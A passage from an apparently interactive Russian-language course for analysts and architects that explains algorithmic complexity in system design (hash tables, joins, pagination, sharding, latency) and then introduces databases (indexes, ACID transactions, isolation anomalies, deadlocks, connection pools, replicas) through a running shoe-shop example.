    Для каждого цикла спросите: от чего зависит число повторов? От n? От m? От константы (7 дней недели)? Делится ли счётчик пополам?
    3
    Вложенное — перемножьте. Идущее друг за другом — сложите.
    4
    Оставьте старшее слагаемое, выбросьте множители.O(n² + 3n + 7) → O(n²). O(n + m) оставляют как есть: неизвестно, что больше.

    Тренировка: какая здесь сложность?

    Сначала попробуйте сами: выберите ответ для каждого фрагмента. Везде n — число заказов, m — число покупателей. Решено 0 из 0.

    Пошаговый разбор

    Теперь посмотрите, как рассуждает опытный разработчик. Выберите фрагмент и идите по шагам: подсвечиваются строки, о которых идёт речь.

    глава 10 · память и структуры память — тоже сложность, а структура данных решает, что будет быстрым

    Когда Борис чинил проверку дублей, он заменил вложенный цикл на хеш-множество. Время упало с недели до долей секунды. Но бесплатно ничего не бывает: множество с 10 млн «отпечатков» заказов занимает в памяти сотни мегабайт. Это тоже сложность — только по памяти.

    определениеСложность по памяти (space complexity) — как растёт объём дополнительной памяти, которая нужна алгоритму, с ростом n. Сами входные данные обычно не считают — только то, что алгоритм заводит сверх них.
    вам диктуют 10 000 чисел, и нужно назвать сумму. Можно держать в голове одно число — текущую сумму (O(1) памяти). А если нужно назвать, какие числа повторялись, придётся записывать всё услышанное — лист бумаги растёт вместе с диктовкой (O(n) памяти).

    O(1) дополнительной памяти

    Сумма, максимум, счётчик — несколько переменных, сколько бы ни было данных. Пирамидальная сортировка сортирует «на месте». Бинарный поиск хранит только lo и hi.

    O(n) дополнительной памяти

    Копия списка, словарь «id → покупатель», множество уже встреченных заказов, сортировка слиянием (нужен второй массив той же длины). Загрузка всей таблицы в память «чтобы быстрее обработать».

    Главный компромисс: платим местом — получаем скорость

    Почти все приёмы ускорения в архитектуре — это обмен памяти или диска на время. Заранее что-то посчитали и сохранили — потом не считаем.

    ПриёмЧем платим (место)Что получаем (время)
    Индекс в базеотдельное дерево на диске, часто сопоставимое с таблицей; замедление записипоиск O(log n) вместо O(n)
    Кеш (Redis, память сервиса)копия данных в памяти; риск устареванияO(1) по ключу вместо похода в базу
    Словарь (Map, Set) в кодеO(n) памятипоиск O(1) вместо O(n); O(n²) → O(n)
    Готовые итоги (материализованное представление, счётчики)хранить и обновлять посчитанноеотчёт O(1) вместо пересчёта O(n) на каждый показ
    Денормализация (имя покупателя прямо в заказе)дублирование данных; обновлять в двух местахнет соединения таблиц при чтении
    Память тоже кончается. «Загрузим все заказы в память и обработаем» работает на 100 тыс. строк и падает с нехваткой памяти на 100 млн. Для больших объёмов обработку делают потоком: читают порциями, обрабатывают, выбрасывают. Время остаётся O(n), а память — O(размер порции).

    Структуры данных: у каждой свой набор быстрых операций

    определениеСтруктура данных — способ разложить данные в памяти так, чтобы нужные операции были дешёвыми. Одна и та же тысяча заказов в массиве, в хеш-таблице и в дереве — это три разных набора быстрых и медленных операций.
    одни и те же документы можно хранить стопкой (быстро положить сверху, долго искать), в картотеке по алфавиту (быстро найти и найти «от А до В», дольше вставить), в ячейках с номерами (мгновенно по номеру, никак — «все на букву К»). Выбирая, как хранить, вы выбираете, какие вопросы будут дешёвыми.

    Выберите структуру: как она устроена, на что похожа в жизни и где встречается в системах.

    Шпаргалка: сложность операций

    Нажмите на строку — появится пояснение.

    Живая модель: хеш-таблица изнутри

    Хеш-таблица — сердце кешей, словарей, сессий и соединений таблиц в базе. Посмотрим, откуда берётся её O(1) и как оно ломается. Ключ превращается в число (хеш), остаток от деления на число корзин — номер корзины. Вставляйте ключи, ищите их, включите «сломанную» хеш-функцию.

    определениеКоллизия — два разных ключа попали в одну корзину. Это нормально: корзина хранит цепочку ключей, и при поиске её приходится перебрать. Заполненность (load factor) — ключей в среднем на одну корзину. Когда она превышает порог (часто 0,75), таблица перестраивается (rehash): корзин становится вдвое больше, и все ключи раскладываются заново.
    Как читать схему. Каждая клетка — корзина с номером. Внутри — ключи, которые в неё попали. Красная клетка — в корзине слишком длинная цепочка. При поиске жёлтым подсвечиваются ключи, с которыми пришлось сравнить, зелёным — найденный.
    Что вы увидите. Пока хеш-функция хорошая, ключи разлетаются по корзинам равномерно, и поиск делает 1–2 сравнения — сколько бы ключей ни было. Перестройка дорогая (переложить все ключи), но случается всё реже: это амортизированное O(1) из главы 2. Выключите перестройку — цепочки растут, поиск замедляется. Включите сломанную функцию — все ключи падают в одну корзину, и хеш-таблица превращается в обычный список с поиском O(n). В Java с версии 8 слишком длинная цепочка внутри HashMap превращается в дерево — и худший случай смягчается до O(log n).

    Потренируйтесь: какую структуру взять?

    Решено 0 из 0.

    глава 11 · архитектура сложность в архитектуре: индексы, соединения, пагинация, шарды, лента

    Всё, что мы разобрали на коде, в точности повторяется на уровне систем. Базы данных, брокеры, кеши и балансировщики внутри — это те же массивы, деревья и хеш-таблицы. Разберём шесть мест, где O-большое напрямую решает судьбу архитектуры.

    1. Индексы: O(n) против O(log n)

    Самое частое применение. Без индекса запрос — перебор таблицы (Seq Scan, O(n)). С индексом — спуск по B+дереву (Index Scan, O(log n)). На 10 млн строк это секунды против долей миллисекунды. Как узнать, что выбрала база, — смотреть план запроса.

    2. Соединение таблиц (JOIN): три алгоритма

    Запрос «заказы вместе с именами покупателей» — это соединение двух таблиц. База умеет делать его тремя способами, и сложность у них очень разная. Какой выбрать, решает планировщик запросов — по оценке размеров таблиц и наличию индексов.

    🔁 Вложенные циклы (nested loop)

    Для каждой строки первой таблицы ищем пару во второй. Без индекса — перебор: O(n · m). С индексом по ключу второй таблицы — спуск по дереву: O(n · log m). Отлично, когда строк в первой таблице мало.

    #️⃣ Хеш-соединение (hash join)

    Меньшую таблицу раскладываем в хеш-таблицу по ключу (m шагов), потом одним проходом по большой ищем пару за O(1) (n шагов). Итого O(n + m), но нужна память под хеш-таблицу.

    🔀 Слияние (merge join)

    Обе таблицы сортируем по ключу и идём по ним параллельно, как при слиянии двух стопок. Если уже отсортированы (например, есть индексы) — O(n + m), иначе — O(n log n + m log m) на сортировку.

    JOIN-калькулятор. Задайте размеры таблиц — посмотрите, сколько операций потребует каждый способ и что выбрал бы разумный планировщик.

    100 тыс.
    10 тыс.
    Что заложено в калькулятор. Операция — одно сравнение или одно обращение к хеш-таблице; 10⁸ операций в секунду. Строка в хеш-таблице условно занимает 100 байт. Память под хеш-соединение в PostgreSQL ограничена настройкой work_mem (по умолчанию 4 МБ, и её часто увеличивают). Если хеш-таблица не помещается, база делит данные на пачки и пишет их во временные файлы на диске: сложность та же, но медленнее. Реальный планировщик учитывает ещё и чтение с диска, поэтому цифры — ориентир, а не прогноз.

    3. Пагинация: OFFSET против «ключа-закладки»

    определениеПагинация — выдача длинного списка по страницам. OFFSET-пагинация: «пропусти 20 000 строк и дай следующие 20» (LIMIT 20 OFFSET 20000). Пагинация по ключу (keyset, её ещё называют курсорной): «дай 20 строк, у которых номер больше последнего, что ты уже показал» (WHERE id > 88213 LIMIT 20).
    вы читаете толстую книгу. OFFSET — это каждый раз открывать книгу на первой странице и отсчитывать 400 страниц, чтобы дочитать с 401-й. Ключ-закладка — положить закладку и открыть книгу сразу на ней.

    Главная неожиданность: база не умеет «перепрыгнуть» OFFSET. Чтобы пропустить 20 000 строк, она читает их все и выбрасывает. Поэтому OFFSET — O(offset + limit): чем дальше страница, тем дольше. Ключ-закладка — спуск по индексу к нужному ключу, O(log n + limit), одинаково быстро на первой и на миллионной странице. Таблица — 10 млн заказов, по 20 на странице.

    1
    Цена ключа-закладки. Нельзя прыгнуть сразу на страницу 5 000 — только «следующая» и «предыдущая». Нужен уникальный упорядоченный ключ (если сортируем по дате, добавляют номер: ORDER BY created_at, id). Зато кроме скорости есть бонус: если пока пользователь листает, появились новые заказы, OFFSET сдвигает страницы, и строки дублируются или пропадают, а закладка — нет. Бесконечная лента и кнопка «Показать ещё» — идеальные случаи для закладки. В API её обычно отдают клиенту как непрозрачный «курсор».

    4. Согласованное хеширование: сколько ключей переедет

    Кеш «Ботинка» разложен по нескольким серверам. Какой ключ где лежит, считают по хешу ключа. Простой способ — остаток от деления хеша на число серверов: O(1) и равномерно. Но стоит добавить сервер, как делитель меняется, и почти все ключи оказываются «не на своём» сервере: кеш разом пустеет, и вся нагрузка падает на базу.

    определениеСогласованное хеширование (consistent hashing) — способ раскладывать ключи по серверам так, что при добавлении или удалении одного сервера переезжает только его доля ключей — примерно K / n, где K — число ключей, n — число серверов. Серверы и ключи размещаются на «кольце» хешей, и ключ принадлежит ближайшему серверу по часовой стрелке.
    4

    5. Лента новостей: раздача при записи или сборка при чтении

    Допустим, у «Ботинка» появились блогеры-обувщики, и у каждого покупателя есть лента постов тех, на кого он подписан. Есть два способа её строить, и у них разная сложность.

    📮 Раздача при записи (fan-out on write)

    Когда автор публикует пост, система сразу кладёт его в готовую ленту каждого подписчика. Запись — O(подписчиков), чтение ленты — O(1): лента уже собрана.

    🧺 Сборка при чтении (fan-out on read)

    Пост пишется один раз. Когда покупатель открывает ленту, система собирает последние посты всех, на кого он подписан, и сливает их по времени. Запись — O(1), чтение — O(подписок) на каждое открытие.

    1 тыс.
    Как делают большие соцсети. Гибрид: для обычных авторов — раздача при записи (подписчиков немного, чтение мгновенное), для «звёзд» с миллионами подписчиков — сборка при чтении (иначе один пост порождает миллионы записей). Такую схему в своё время публично описывал Twitter.

    6. Шардирование и «поиск по любой части слова»

    🧩 Запрос с ключом шарда — O(1) до шарда

    Заказы разрезаны на 16 шардов по customer_id. «Заказы Анны» — хеш от её id сразу говорит, в какой шард идти: один шард, дальше обычный индекс, O(log n).

    📣 Запрос без ключа шарда — во все

    «Заказы с артикулом X» — шард неизвестен. Приходится спросить все 16 (разослать и собрать, scatter-gather): работа растёт с числом шардов, а ответ ждёт самого медленного. Добавили шардов «для масштаба» — такие запросы стали дороже.

    🔍 LIKE '%кросс%' — O(n)

    Обычный индекс бесполезен: он упорядочен по началу строки. Каждая строка поиска на сайте — полный перебор таблицы товаров. Решение — триграммный индекс (в PostgreSQL — расширение pg_trgm), полнотекстовый поиск или отдельная поисковая база.

    🧮 Отчёт «за всё время» — O(n) и растёт

    Каждый месяц отчёт на 5 % медленнее, потому что данных больше. Лечат готовыми итогами по месяцам: прошлые месяцы не меняются, их считают один раз.

    глава 12 · когда O не главное константы, кеш процессора и сеть: где O-большое молчит

    O-большое честно отвечает на вопрос «как растёт». Но оно сознательно выбрасывает множители и мелочи — а в жизни они иногда решают всё. Вот четыре случая, когда смотреть только на O опасно.

    1. Константа бывает огромной

    Алгоритм A делает 1000 · n шагов — это O(n). Алгоритм B делает n · log₂ n — это O(n log n), «хуже». Но log₂ n превысит 1 000 только при n = 2¹⁰⁰⁰ — таких данных во Вселенной нет. На любых реальных объёмах «худший» B быстрее. O-большое сравнивает формы роста, а не реальные программы.

    2. Маленькие n

    На 10–20 элементах простой алгоритм с «плохой» сложностью часто быстрее сложного: у него меньше накладных расходов. Поэтому Timsort (сортировка Python и JavaScript) внутри сортирует короткие куски вставками — алгоритмом O(n²), — а уже потом сливает их. Для короткого списка из 30 пунктов меню выбирать структуру «по O» бессмысленно.

    3. Кеш процессора: одинаковое O, разное время

    определениеКеш процессора — маленькая сверхбыстрая память прямо в процессоре (уровни L1, L2, L3). Обращение к ней — около наносекунды, к оперативной памяти — около ста наносекунд. Процессор подгружает из памяти данные кусками (строками кеша, обычно по 64 байта) и умеет угадывать, какой кусок понадобится дальше.
    вы собираете продукты по списку. Если всё на одной полке подряд — берёте рукой, не сходя с места. Если каждый продукт в другом конце магазина — число продуктов то же, а времени уходит в десятки раз больше.

    Пройти по массиву и по связному списку — оба O(n). Но массив лежит в памяти подряд: процессор загружает соседние элементы одним куском и заранее подтягивает следующий. Узлы списка разбросаны по памяти, и почти каждый переход — промах мимо кеша, ~100 нс вместо ~1 нс. На практике проход по массиву бывает в несколько раз, а то и в десятки раз быстрее, хотя «по O» они равны.

    4. Сеть и диск дороже процессора — на порядки

    определениеЛатентность (latency, задержка) — сколько времени занимает одна операция от начала до ответа: одно чтение с диска, одна поездка по сети. Сложность говорит, сколько операций; латентность — сколько стоит каждая. Время ответа ≈ число операций × их латентность.

    Ниже — «числа, которые полезно знать». Это порядки величин, а не точные значения: они зависят от железа и меняются год от года. Переключите масштаб, чтобы почувствовать разницу.

    Вывод для архитектора. Одна поездка по сети внутри дата-центра (~0,5 мс) — это время, за которое процессор успевает сделать больше миллиона простейших действий, а по нашей условной мерке — около 50 000 шагов алгоритма. Поэтому O(n) сетевых запросов почти всегда хуже, чем O(n log n) вычислений в памяти. Классическая проблема N+1: страница показывает 100 заказов и делает 1 + 100 запросов в базу. Каждый запрос быстрый, но 101 поездка по сети складывается в заметную задержку.

    Калькулятор: N+1 против одного запроса

    100
    0,5 мс
    Проще говоря. Сложность — это «как растёт», латентность — «почём каждый шаг». Быстрая система считает обе вещи: мало шагов, и каждый шаг дешёвый. Кеш и индекс уменьшают число шагов. Пакетные запросы, JOIN вместо цикла и размещение сервиса рядом с базой уменьшают цену шага.

    глава 13 · аналитику как этим пользоваться: объёмы, вопросы разработчикам, НФТ, ловушки

    Аналитик не пишет алгоритмы. Но именно он знает то, без чего сложность бесполезна: сколько будет данных и как быстро их станет больше. Разработчик знает форму роста, аналитик — n. Вместе они получают прогноз.

    Шаг 1. Оцените объём на горизонте

    Олег прикидывает, сколько заказов накопится в «Ботинке». Подвигайте ползунки — калькулятор посчитает n и покажет, как на таком объёме поведут себя разные классы операций.

    5 тыс.
    +50 %
    3 года

    Шаг 2. Задайте разработчикам правильные вопросы

    Не «а оно будет быстро работать?», а вопросы, в которых есть n. Нажмите на вопрос — появится, что стоит услышать в ответ.

    Шаг 3. Пишите НФТ с объёмом данных

    определениеНФТ — нефункциональные требования: не «что делает система», а «насколько хорошо»: скорость, надёжность, объёмы. Требование к скорости без объёма данных нельзя проверить: любая система быстра на пустой базе.
    ❌ Так не надо✅ Так проверяемо
    «Поиск заказов должен работать быстро»«Поиск заказа по номеру — не дольше 100 мс для 95 % запросов (p95) при объёме таблицы заказов до 50 млн строк»
    «Система должна выдерживать рост»«Характеристики из п. 4.2 сохраняются при росте числа заказов до 30 млн в год в течение 3 лет (итого ~70 млн строк)»
    «Список заказов с постраничным выводом»«Список заказов покупателя — по 20 на страницу, переход к следующей странице — не дольше 200 мс (p95) независимо от номера страницы»
    «Отчёт по продажам»«Отчёт за произвольный период до 1 года строится не дольше 10 с при 20 млн заказов за период; отчёт за всё время — фоновой задачей с уведомлением»
    «Нагрузочное тестирование провести»«Нагрузочный тест проводится на базе с объёмом данных, соответствующим прогнозу на 3 года (не меньше 70 млн заказов, 5 млн покупателей)»
    Обратите внимание на «независимо от номера страницы». Такая формулировка сразу исключает OFFSET-пагинацию на больших списках — и разработчик это поймёт. Хорошее НФТ описывает поведение при росте, а не предписывает решение.

    Шаг 4. Узнавайте ловушки в формулировках

    Эти фразы звучат невинно, но за каждой стоит перебор, квадрат или экспонента.

    «Поиск по любой части названия»

    LIKE '%…%' — O(n) на каждый запрос. Нужен особый индекс или поисковая база.

    «Показать общее число страниц»

    COUNT(*) по большой таблице — O(n) на каждую страницу. Часто достаточно «больше 1 000» или «следующая есть».

    «Фильтр и сортировка по любому столбцу»

    Под каждое сочетание нужен свой индекс, иначе перебор и сортировка O(n log n). Уточните, по каким столбцам реально фильтруют.

    «Перейти на любую страницу»

    OFFSET: чем дальше, тем дольше — O(offset). Нужно ли прыгать на 5 000-ю страницу?

    «Подобрать оптимальную комбинацию»

    Возможен перебор 2ⁿ или n!. Устроит ли «хороший» ответ вместо «лучшего»?

    «Сравнить с каждым» / «найти похожие»

    Попарное сравнение — O(n²). На 1 млн товаров это полтриллиона пар.

    «Выгрузить всё в Excel»

    O(n) и память O(n), если собирать файл целиком. Нужна фоновая задача и потоковая запись.

    «Отчёт за всё время»

    Время растёт с каждым днём работы магазина. Предложите готовые итоги по периодам.

    «Показать всю историю изменений»

    Без ограничения — O(n) растущей истории на каждый показ. Нужны пагинация и срок хранения.

    глава 14 · проверьте себя двенадцать задач из жизни

    Если ответ не очевиден, вернитесь к главе в скобках в пояснении. Решено 0 из 0.

    Вся история в пяти фразах. Скорость на больших данных решает не сервер, а форма роста работы. O-большое записывает эту форму, отбрасывая мелочи: O(1) не растёт, O(log n) почти не растёт, O(n) растёт вместе с данными, O(n²) — в квадрате, O(2ⁿ) и O(n!) не заканчиваются. Индексы, хеш-таблицы, кеши и пагинация по ключу — это способы заплатить памятью за переход в класс получше. А задача аналитика — знать n и писать требования так, чтобы их проверяли на реальном объёме.
    Дальше → следующий раздел — «Базы данных 🗄»

    База данных — самое дорогое решение в системе и самое трудное к отмене. Сервис можно переписать за месяц. Язык можно поменять. А базу, в которой лежат два терабайта живых данных и на которую смотрят сорок запросов, меняют годами — и обычно не меняют вовсе. Поэтому про неё стоит понимать чуть больше, чем «туда сохраняются данные».

    карта раздела одна история в одиннадцати главах

    Этот раздел — не справочник, а рассказ. Мы начнём с простого вопроса «что такое база», потом проследим одну покупку от кнопки до диска, а дальше будем разбирать каждый механизм, который встретился по дороге. Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней.

    глава 1 · что это что такое база данных, если по-простому

    определениеБаза данных — это данные, разложенные по строгим правилам, плюс программа, которая умеет их быстро найти, безопасно изменить и не потерять. Саму программу называют СУБД — система управления базами данных. PostgreSQL, MySQL, MongoDB, Redis — это всё СУБД.
    Житейски. База — это склад с картотекой и кладовщиком. Вещи — это данные. Картотека — это индексы: по ней ищут, не обходя весь склад. Кладовщик — это СУБД: он следит, чтобы двое не схватили одну коробку, чтобы запись в журнале прихода не потерялась и чтобы никто не положил на полку то, чего там быть не может. Пока вещей сто, всё это кажется лишним. Когда их миллион, а кладовщиков двадцать, всё решает порядок.

    Что база обещает — четыре обещания

    💾 Не потерять

    Сказала «сохранено» — значит, данные переживут даже выдернутый шнур питания.

    🔎 Найти быстро

    Одну строку среди десяти миллионов — за доли миллисекунды.

    🛡 Не дать испортить

    Правила вроде «остаток не меньше нуля» база соблюдает сама, даже если код написан криво.

    👥 Пускать многих сразу

    Сотни людей меняют данные одновременно — и никто не затирает чужую работу.

    Каждое обещание держится на своём механизме. У механизмов есть имена, и дальше они будут встречаться постоянно. Вот словарик на пальцах — нажимайте на слова.

    глава 1 · зачем зачем архитектору разбираться в базах

    глава 1 · почему почему архитектору мало знать SQL

    Можно двадцать лет писать SELECT и ни разу не задуматься, что происходит внутри. Пока система маленькая, это и не нужно. Проблемы появляются на масштабе — и все они выглядят одинаково: «вчера работало, сегодня тормозит, а мы ничего не меняли».

    Причина 1. База — общее узкое место

    Сервисов можно поднять двадцать копий за минуту. База одна, и она упирается в диск, память и блокировки. Почти любая деградация системы в итоге упирается в базу.

    Причина 2. Решения необратимы

    Выбранный тип базы, схема таблиц, ключ шардирования — всё это меняется переездом данных, а не правкой кода. Ошибка здесь стоит не спринта, а квартала.

    Причина 3. Странные баги живут здесь

    «Один раз из тысячи списалось дважды», «в отчёте цифра не сходится», «на тесте не повторяется». Почти всегда это база: изоляция, отставание реплики или гонка двух транзакций.

    глава 2 · сквозной пример одна покупка от кнопки до диска

    Теперь посмотрим на всё сразу, на живом примере. Магазин обуви «Ботинок». На складе осталась последняя пара ботинок 42 размера. Анна нажимает «Оформить заказ». Через пять миллисекунд то же самое делает Борис. А менеджер Олег в это время строит отчёт о продажах за день.

    Жмите «Дальше». На схеме подсвечивается, где сейчас происходит работа. Ниже — что лежит в базе на этом шаге: у главного узла (мастера) и у его копии (реплики). Новые слова объясняются прямо по ходу.

    люди
    👩 Анна
    покупает последнюю пару
    🧔 Борис
    хочет ту же пару
    👨‍💼 Олег
    менеджер, строит отчёт
    сервисы
    ⚙️ Сервис заказов
    знает правила магазина, ходит в базу
    📈 Сервис отчётов
    только читает
    вход в базу
    🎫 Пул соединений
    20 готовых «линий» к базе, раздаются по очереди
    база данных
    👑 Мастер
    главный узел, принимает запись
    📇 индекс🔒 замок📜 журнал
    📑 Реплика 1
    копия для обычного чтения
    📊 Реплика отчётов
    копия для тяжёлых запросов

    
          

    👑 Мастер — что в базе сейчас

    📑 Реплика — что видит копия

    Что мы только что увидели. Одна кнопка «Оформить» задела пул соединений, транзакцию, индекс, блокировку, журнал, реплику и выборы нового мастера. Дальше каждая глава — это увеличительное стекло над одним из этих шагов.

    глава 3 · виды баз какие бывают базы и зачем их столько

    В нашей истории база была реляционной — с таблицами. Но баз много видов. Все они хранят данные. Отличаются они тем, какой вопрос умеют задавать дёшево. Выбирать базу — значит выбирать, какие вопросы будут быстрыми.

    Житейски. Бухгалтерская книга, папка с делом, камера хранения, стопки по видам документов, схема метро, кардиограмма и библиотечный каталог. Все семь хранят бумаги. Но найти «все платежи за март» удобно только в одном из них, а «как доехать с двумя пересадками» — в другом.

    Шпаргалка: семь видов в одной таблице

    Нажмите на строку — появится пояснение, когда эту базу брать, а когда нет.

    Каждый вид поближе

    Выберите вид — увидите, как он хранит данные, в чём силён и где пригодится в «Ботинке».

    Главный совет по выбору. Начинайте с реляционной, даже если модно другое. PostgreSQL сегодня умеет JSON, полнотекстовый поиск, массивы, геоданные и очереди — то есть во многом закрывает документную, поисковую и ключ-значение сам. Отдельную базу берут, когда доказали цифрами, что PostgreSQL не справляется с конкретным сценарием, а не потому, что «для событий же нужна колоночная».
    Полиглотное хранение — это когда в системе живёт несколько видов баз под разные задачи: заказы в PostgreSQL, сессии в Redis, аналитика в ClickHouse, поиск в Elasticsearch. Нормальная взрослая практика. Цена — каждая база это отдельная эксплуатация: бэкапы, обновления, мониторинг, люди, которые умеют её чинить в три часа ночи. Три базы — это три дежурства, а не одно.

    Потренируйтесь: какую базу взять?

    Решено 0 из 0.

    глава 4 · индекс как база находит строку среди десяти миллионов

    Во второй главе база нашла остаток ботинок почти мгновенно. Как? Самый частый ответ на вопрос «почему тормозит» — «нет индекса». Разберём, что это такое, без магии.

    определениеИндекс — это отдельная отсортированная структура рядом с таблицей. В ней для каждого значения колонки записано, в какой строке таблицы оно лежит. База ищет сначала в индексе, а потом идёт прямо в нужную строку.
    Житейски. Индекс — это алфавитный указатель в конце книги. Без него, чтобы найти слово, надо пролистать всю книгу. С ним — открываете указатель, находите слово, там написана страница. Указатель занимает место и его надо дописывать при каждой правке книги — но искать он позволяет мгновенно.

    Покрутите размер таблицы

    Без индекса база читает таблицу целиком. С индексом она спускается по дереву, и на каждом шаге отбрасывает половину оставшегося — как вы ищете слово в бумажном словаре.

    10 млн

    Четыре сценария

    Нажмите на сценарий и посмотрите, что делает база.

    глава 5 · транзакция «всё или ничего»: что такое транзакция

    Когда Анна покупала ботинки, база сделала два дела: уменьшила остаток и создала заказ. А если между ними сервер упадёт? Остаток уменьшен, заказа нет — пара пропала со склада «в никуда». Чтобы так не было, придуманы транзакции.

    определениеТранзакция — это несколько действий с базой, которые считаются одним. Либо прошли все, либо не прошло ни одно. Начинается словом BEGIN, заканчивается COMMIT (подтвердить) или ROLLBACK (отменить всё).
    Житейски. Перевод денег — это два действия: списать у одного и начислить другому. Если между ними выключат свет, деньги исчезнут из мира. Транзакция — это обещание банка, что такого не случится: либо оба действия, либо ни одного.

    ACID вживую: один перевод — четыре обещания

    ACID — это первые буквы четырёх английских слов. Каждая буква — отдельное обещание, которое база даёт про транзакцию: Atomicity — атомарность, Consistency — согласованность, Isolation — изоляция, Durability — долговечность. Звучит сухо, поэтому посмотрим на все четыре на одном переводе.

    Сценарий: Анна переводит Борису 300 ₽. На счетах: у Анны 1 000 ₽, у Бориса 500 ₽. Главное правило банка: всего денег всегда 1 500 ₽ — перевод их только перекладывает. Внутри базы видны четыре места: таблица счетов (то, что видят все), черновик транзакции (изменения, которые видит только она сама), журнал WAL (куда база сначала записывает каждое действие) и диск.

    что происходит
    почему так

    Сводка: четыре буквы на одной странице

    БукваЧто обещаетЧто будет без неё — на примере АнныЧем обеспечивается
    A — атомарностьВсе действия транзакции проходят вместе или не проходит ни одноСервер упал после списания у Анны — 300 ₽ исчезли, Борис их не получилЖурнал WAL и откат: незавершённая транзакция стирается при сбое или по ROLLBACK
    C — согласованностьПосле транзакции все правила схемы соблюденыУ Анны −200 ₽ или перевод на несуществующий счётОграничения в схеме: CHECK, UNIQUE, внешние ключи — плюс A, которая откатывает всё целиком. Бизнес-правила вроде лимита проверяет приложение
    I — изоляцияПараллельные транзакции не видят недоделанного и не затирают друг другаВера видит в банке 1 200 ₽ вместо 1 500; два платежа по 800 ₽ списались как одинСнимки данных (MVCC — каждая транзакция читает свою версию строк), блокировки строк, уровни изоляции
    D — долговечностьПосле «OK» данные переживут отключение питанияАнне сказали «переведено», свет мигнул — перевода нетЗапись в журнал на диск (fsync) до ответа «OK» и восстановление по журналу при запуске

    Мини-тест: какая буква нарушена?

    Решено 0 из 0.

    Коротко ещё раз: выключите свет посреди перевода

    Та же буква A в самом простом виде. Анна переводит Борису 100 ₽. Выберите режим, решите, гаснет ли свет, и нажмите «Перевести». Следите за строкой «всего денег»: она должна всегда быть 600.

    Каждая буква в SQL

    Шпаргалка к интерактиву выше: как каждая буква выглядит в коде и что ломается без неё.

    глава 6 · когда все сразу гонка за последней парой

    Вернёмся к Анне и Борису. Они нажали «Оформить» почти одновременно. База обслуживает их параллельно — в двух транзакциях сразу. Если ничего не предпринять, обе транзакции увидят «осталась 1 пара», и магазин продаст две пары там, где была одна. Такая ситуация называется гонкой: результат зависит от того, кто на миллисекунду успел раньше.

    определениеБлокировка — это отметка базы «эта строка сейчас занята транзакцией, остальные подождут». Её снимают, когда транзакция закончилась.
    Житейски. Блокировка — это табличка «занято» на двери примерочной. Пока Анна внутри, Борис ждёт у двери. Вышла — заходит он и видит, что ботинки уже унесли.

    Выберите, как защищён код, и запустите двух покупателей.

    
        

    глава 6 · изоляция одна и та же программа даёт разный ответ

    Гонка — только один из видов проблем. Их общее имя — аномалии изоляции.

    определениеИзоляция — это насколько транзакции не видят друг друга. Полная изоляция: каждая работает так, будто она в базе одна. Слабая изоляция: транзакции видят часть чужих изменений, зато меньше ждут.

    Буква I в ACID — единственная, которую можно ослабить настройкой. И почти везде она ослаблена по умолчанию, просто об этом не знают.

    Вот в чём засада. Изоляция стоит дорого: чем она строже, тем больше транзакции ждут друг друга. Поэтому базы предлагают уровни — от «быстро, но иногда увидите чужое недоделанное» до «медленно, зато как будто вы один». PostgreSQL по умолчанию даёт Read Committed, а не Serializable. То есть ровно тот уровень, на котором возможны три из пяти аномалий ниже.

    Выберите аномалию — она проиграется по шагам на двух транзакциях.

    Сводная таблица: что на каком уровне возможно

    УровеньГрязное чтениеНеповторяемое чтениеФантомПотерянное обновлениеПерекос записи
    Read Uncommitted
    почти не используется
    возможновозможновозможновозможновозможно
    Read Committed
    по умолчанию в PostgreSQL
    нетвозможновозможновозможновозможно
    Repeatable Read
    по умолчанию в MySQL InnoDB
    нетнетнет*нет*возможно
    Serializable
    как будто вы один
    нетнетнетнетнет
    Звёздочка важная. На уровне Repeatable Read в PostgreSQL транзакция при конфликте не «подождёт», а откатится с ошибкой could not serialize access. Это не поломка, а штатное поведение: приложение обязано поймать эту ошибку и повторить транзакцию целиком. Код, который этого не умеет, будет падать в бою и прекрасно работать на тесте, где параллельных транзакций нет.
    Практический вывод для постановки. Если в требованиях есть слова «нельзя дважды», «остаток не должен уйти в минус», «в один слот только один человек» — это не задача разработчика «написать аккуратно». Это выбор между тремя механизмами: строгий уровень изоляции с повтором, явная блокировка строки (SELECT … FOR UPDATE) или ограничение в самой базе (UNIQUE, CHECK). Третий вариант самый надёжный: база не умеет забыть про ограничение.

    глава 6 · дедлок когда двое ждут друг друга вечно

    Блокировки спасли Анну и Бориса. Но у них есть обратная сторона.

    определениеВзаимная блокировка (deadlock, дедлок) — две транзакции держат по строке и ждут строку друг друга. Ни одна не может закончить, пока не закончит другая.
    Житейски. Двое встретились в узком коридоре с двумя шкафами. Каждый ждёт, пока пройдёт другой. Сами они не разойдутся никогда — нужен кто-то третий, кто скажет одному «отойди назад».

    глава 7 · пул соединений почему база держит не десять тысяч клиентов, а сто

    В самом начале истории сервис заказов не подключался к базе заново, а взял готовое соединение из пула. Зачем такие сложности?

    определениеСоединение — это открытая «линия связи» между программой и базой. Открывать её долго, а держать дорого: в PostgreSQL на каждое соединение база заводит отдельный процесс. Пул соединений — это запас заранее открытых соединений, которые сервис берёт на время запроса и возвращает обратно.

    Кажется, что база — это сервис, к которому можно подключиться сколько угодно раз. Это не так, и об этот факт разбивается много систем.

    Житейски. В поликлинике сто пациентов и пять врачей. Можно впустить всех сто в коридор одновременно — быстрее от этого никто не примет, зато будет давка, и врачи начнут тратить время на разбор очереди. Разумнее пускать по пять, а остальные пусть ждут в порядке. Пул соединений — это регистратура.

    Покрутите — посмотрите, что происходит.

    10
    20
    200

    глава 8 · реплики мастер и копии: как база переживает много чтения

    В истории Олег строил отчёт не на главной базе, а на её копии. Это самая распространённая схема в мире.

    определениеМастер — узел базы, который принимает все изменения. Реплика — его копия: она получает от мастера журнал изменений и повторяет их у себя. С реплики можно читать, но нельзя писать. Схему называют по-разному: мастер–реплика, лидер–последователь, primary–replica. Это одно и то же.
    Житейски. Реплика — это копия ведомости в соседнем кабинете. Оригинал правит только бухгалтер. Курьер разносит правки по кабинетам, и копии обновляются с опозданием. Читать можно в любом кабинете — очереди меньше. Но кто прибежал в соседний кабинет сразу после правки, увидит старую цифру.

    Сначала — схема целиком

    Прожмите: куда идёт запись, куда чтение, что даёт каждая реплика и чем за это платят.

    Отставание своими руками

    Анна поменяла адрес доставки и сразу открыла профиль. Что она увидит? Покрутите отставание реплики и паузу Анны, включите и выключите правило «читай своё».

    определениеОтставание реплики (replication lag) — сколько времени проходит между записью в мастер и появлением этой записи на реплике. «Читай своё» (read-your-writes) — правило: то, что пользователь сам только что записал, читаем с мастера.
    800
    200

